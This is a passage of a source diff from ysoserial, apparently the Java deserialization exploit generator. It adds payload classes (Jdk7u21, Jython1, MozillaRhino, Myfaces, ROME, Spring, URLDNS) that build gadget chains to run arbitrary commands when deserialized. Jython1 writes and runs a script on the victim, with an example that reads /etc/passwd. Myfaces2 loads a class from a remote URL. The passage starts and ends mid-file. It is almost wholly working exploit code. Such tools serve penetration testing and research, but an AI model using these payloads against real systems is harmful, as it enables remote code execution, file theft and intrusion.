...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies()
@Authors({ Authors.FROHOFF })
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}
}
@@ -0,0 +1,108 @@
package ysoserial.payloads;
import org.apache.commons.io.FileUtils;
import org.python.core.*;
import java.math.BigInteger;
import java.io.File;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
/**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*
* This version of Jython1 writes a python script on the victim machine and
* executes it. The format of the parameters is:
*
* <local path>;<remote path>
*
* Where local path is the python script's location on the attack box and
* remote path is the location where the script will be written/executed from.
* For example:
*
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
*
* In the above example, if "read_etc_passwd.py" simply contained the string:
*
* raise Exception(open('/etc/passwd', 'r').read())
*
* Then, when deserialized, the script will read in /etc/passwd and raise an
* exception with its contents (which could be useful if the target returns
* exception information).
*/
@PayloadTest(skip="non RCE")
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({ "org.python:jython-standalone:2.5.2" })
@Authors({ Authors.PWNTESTER, Authors.CSCHNEIDER4711 })
public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(";");
if (paths.length != 2) {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
}
// Set payload parameters
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
// Python bytecode to write a file on disk and execute it
String code =
"740000" + //0 LOAD_GLOBAL 0 (open)
"640100" + //3 LOAD_CONST 1 (remote path)
"640200" + //6 LOAD_CONST 2 ('w+')
"830200" + //9 CALL_FUNCTION 2
"7D0000" + //12 STORE_FAST 0 (file)
"7C0000" + //15 LOAD_FAST 0 (file)
"690100" + //18 LOAD_ATTR 1 (write)
"640300" + //21 LOAD_CONST 3 (python code)
"830100" + //24 CALL_FUNCTION 1
"01" + //27 POP_TOP
"7C0000" + //28 LOAD_FAST 0 (file)
"690200" + //31 LOAD_ATTR 2 (close)
"830000" + //34 CALL_FUNCTION 0
"01" + //37 POP_TOP
"740300" + //38 LOAD_GLOBAL 3 (execfile)
"640100" + //41 LOAD_CONST 1 (remote path)
"830100" + //44 CALL_FUNCTION 1
"01" + //47 POP_TOP
"640000" + //48 LOAD_CONST 0 (None)
"53"; //51 RETURN_VALUE
// Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write", "close", "execfile"};
// Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
// Prepare Trigger Gadget
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jython1.class, args);
}
}
@@ -0,0 +1,77 @@
package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest( precondition = "isApplicableJavaVersion")
@Dependencies({"rhino:js:1.7R2"})
@Authors({ Authors.MATTHIASKAISER })
public class MozillaRhino1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
Reflections.setAccessible(nativeErrorConstructor);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
idScriptableObject.setGetterOrSetter("name", 0, method, false);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
Reflections.setAccessible(getSlot);
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
Reflections.setAccessible(getter);
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
Reflections.setAccessible(memberboxClassConstructor);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);
idScriptableObject.setPrototype(nativeObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
Reflections.setAccessible(valField);
valField.set(badAttributeValueExpException, idScriptableObject);
return badAttributeValueExpException;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino1.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
}
@@ -0,0 +1,109 @@
package ysoserial.payloads;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Method;
import java.util.Hashtable;
import java.util.Map;
/*
Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
Chain:
NativeJavaObject.readObject()
JavaAdapter.readAdapterObject()
ObjectInputStream.readObject()
...
NativeJavaObject.readObject()
JavaAdapter.readAdapterObject()
JavaAdapter.getAdapterClass()
JavaAdapter.getObjectFunctionNames()
ScriptableObject.getProperty()
ScriptableObject.get()
ScriptableObject.getImpl()
Method.invoke()
Context.enter()
JavaAdapter.getAdapterClass()
JavaAdapter.getObjectFunctionNames()
ScriptableObject.getProperty()
NativeJavaArray.get()
NativeJavaObject.get()
JavaMembers.get()
Method.invoke()
TemplatesImpl.getOutputProperties()
...
by @_tint0
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"rhino:js:1.7R2"})
@Authors({ Authors.TINT0 })
public class MozillaRhino2 implements ObjectPayload<Object> {
public Object getObject( String command) throws Exception {
ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<Object, Object>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(
Class.forName("org.mozilla.javascript.MemberBox"),
(Class<Object>)Class.forName("org.mozilla.javascript.MemberBox"),
new Class[] {Method.class},
new Object[] {Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "foo", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaArray, "javaObject", Gadgets.createTemplatesImpl(command));
nativeJavaArray.setPrototype(scriptableObject);
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject;
}
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object");
out.writeObject(new String[0]);
out.writeObject(javaObject);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino2.class, args);
}
}
@@ -0,0 +1,94 @@
package ysoserial.payloads;
import javax.el.ELContext;
import javax.el.ExpressionFactory;
import javax.el.ValueExpression;
import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - an EL expression to execute
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest(skip="Requires running MyFaces, no direct execution")
@Authors({ Authors.MBECHLER })
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public Object getObject ( String command ) throws Exception {
return makeExpressionPayload(command);
}
public static String[] getDependencies () {
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ( "juel".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
}
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return Gadgets.makeMap(e2, e);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces1.class, args);
}
}
@@ -0,0 +1,70 @@
package ysoserial.payloads;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest(harness="ysoserial.test.payloads.MyfacesTest", precondition = "isApplicableJavaVersion")
@Authors({ Authors.MBECHLER })
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAtLeast(7);
}
public static String[] getDependencies () {
return Myfaces1.getDependencies();
}
public Object getObject ( String command ) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String expr = "${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}";
// if we add fewer than the actual classloaders we end up with a null entry
for ( int i = 0; i < 100; i++ ) {
expr += "${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('" + url + "').toURL())}";
}
expr += "${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+ ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('" + className + "').newInstance()}";
return Myfaces1.makeExpressionPayload(expr);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Myfaces2.class, args);
}
}
@@ -1,9 +1,103 @@
package ysoserial.payloads; package ysoserial.payloads;
public interface ObjectPayload<T> {
import java.lang.reflect.Modifier;
import java.util.Iterator;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.GeneratePayload;
@SuppressWarnings ( "rawtypes" )
public interface ObjectPayload <T> {
/* /*
* return armed payload object to be serialized that will execute specified * return armed payload object to be serialized that will execute specified
* command on deserialization * command on deserialization
*/ */
public T getObject(String command) throws Exception; public T getObject ( String command ) throws Exception;
public static class Utils {
// get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
Class<? extends ObjectPayload> pc = iterator.next();
if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
iterator.remove();
}
}
return payloadTypes;
}
@SuppressWarnings ( "unchecked" )
public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
Class<? extends ObjectPayload> clazz = null;
try {
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
}
catch ( Exception e1 ) {}
if ( clazz == null ) {
try {
return clazz = (Class<? extends ObjectPayload>) Class
.forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
}
catch ( Exception e2 ) {}
}
if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
clazz = null;
}
return clazz;
}
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
final Object payloadObject;
try {
final ObjectPayload payload = payloadClass.newInstance();
payloadObject = payload.getObject(payloadArg);
}
catch ( Exception e ) {
throw new IllegalArgumentException("Failed to construct payload", e);
}
return payloadObject;
}
@SuppressWarnings ( "unchecked" )
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
if ( payload instanceof ReleaseableObjectPayload ) {
( (ReleaseableObjectPayload) payload ).release(object);
}
}
public static void releasePayload ( String payloadType, Object payloadObject ) {
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
}
try {
final ObjectPayload payload = payloadClass.newInstance();
releasePayload(payload, payloadObject);
}
catch ( Exception e ) {
e.printStackTrace();
}
}
}
} }
@@ -0,0 +1,47 @@
package ysoserial.payloads;
import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ObjectBean;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
/**
*
* TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...)
* ToStringBean.toString(String)
* ToStringBean.toString()
* ObjectBean.toString()
* EqualsBean.beanHashCode()
* ObjectBean.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/
@Dependencies("rome:rome:1.0")
@Authors({ Authors.MBECHLER })
public class ROME implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return Gadgets.makeMap(root, root);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(ROME.class, args);
}
}
@@ -0,0 +1,11 @@
package ysoserial.payloads;
/**
* @author mbechler
*
*/
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
void release( T obj ) throws Exception;
}
+20 -28
View File
@@ -5,23 +5,21 @@ import static java.lang.Class.forName;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type; import java.lang.reflect.Type;
import java.util.Arrays;
import java.util.List;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import org.springframework.beans.factory.ObjectFactory; import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.util.ClassFiles; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
/* /*
Gadget chains: Gadget chain:
ObjectInputStream.readObject() ObjectInputStream.readObject()
SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.MethodInvokeTypeProvider.readObject()
@@ -44,27 +42,19 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
TemplatesImpl.getTransletInstance() TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses() TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass() TemplatesImpl.TransletClassLoader.defineClass()
Gadgets.TransletPayload.readObject() Pwner*(Javassist-generated).<static init>
Runtime.exec() Runtime.exec()
Requires:
spring-framework-core
*/ */
@SuppressWarnings({"restriction", "rawtypes"}) @SuppressWarnings({"rawtypes"})
public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>> { @PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE","org.springframework:spring-beans:4.1.4.RELEASE"})
@Authors({ Authors.FROHOFF })
public class Spring1 extends PayloadRunner implements ObjectPayload<Object> {
public List<Object> getObject(final String command) throws Exception { public Object getObject(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl(); final Object templates = Gadgets.createTemplatesImpl(command);
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
ClassFiles.classAsBytes(Gadgets.Foo.class)});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
final ObjectFactory objectFactoryProxy = final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
@@ -78,15 +68,17 @@ public class Spring1 extends PayloadRunner implements ObjectPayload<List<Object>
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Templates.class.getMethod("newTransformer", new Class[] {}), 0); final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
Reflections.setFieldValue(templates, "_auxClasses", null); // required to make TemplatesImpl serialization happy return mitp;
return Arrays.asList(mitp, new Gadgets.TransletPayload().withCommand(command));
} }
public static void main(final String[] args) { public static void main(final String[] args) throws Exception {
PayloadRunner.run(Spring1.class, args); PayloadRunner.run(Spring1.class, args);
} }
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
} }
@@ -0,0 +1,76 @@
package ysoserial.payloads;
import static java.lang.Class.forName;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import javax.xml.transform.Templates;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.target.SingletonTargetSource;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
*
* Just a PoC to proof that the ObjectFactory stuff is not the real problem.
*
* Gadget chain:
* TemplatesImpl.newTransformer()
* Method.invoke(Object, Object...)
* AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.newTransformer()
* Method.invoke(Object, Object...)
* SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream)
*
* @author mbechler
*/
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies ( {
"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE",
// test deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2"
} )
@Authors({ Authors.MBECHLER })
public class Spring2 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject ( final String command ) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
AdvisedSupport as = new AdvisedSupport();
as.setTargetSource(new SingletonTargetSource(templates));
final Type typeTemplatesProxy = Gadgets.createProxy(
(InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as),
Type.class,
Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
Reflections.setFieldValue(mitp, "provider", typeProviderProxy);
Reflections.setFieldValue(mitp, "methodName", "newTransformer");
return mitp;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(Spring2.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
@@ -0,0 +1,87 @@
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
@@ -0,0 +1,82 @@
package ysoserial.payloads;
import javax.management.BadAttributeValueExpException;
import com.vaadin.data.util.NestedMethodProperty;
import com.vaadin.data.util.PropertysetItem;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
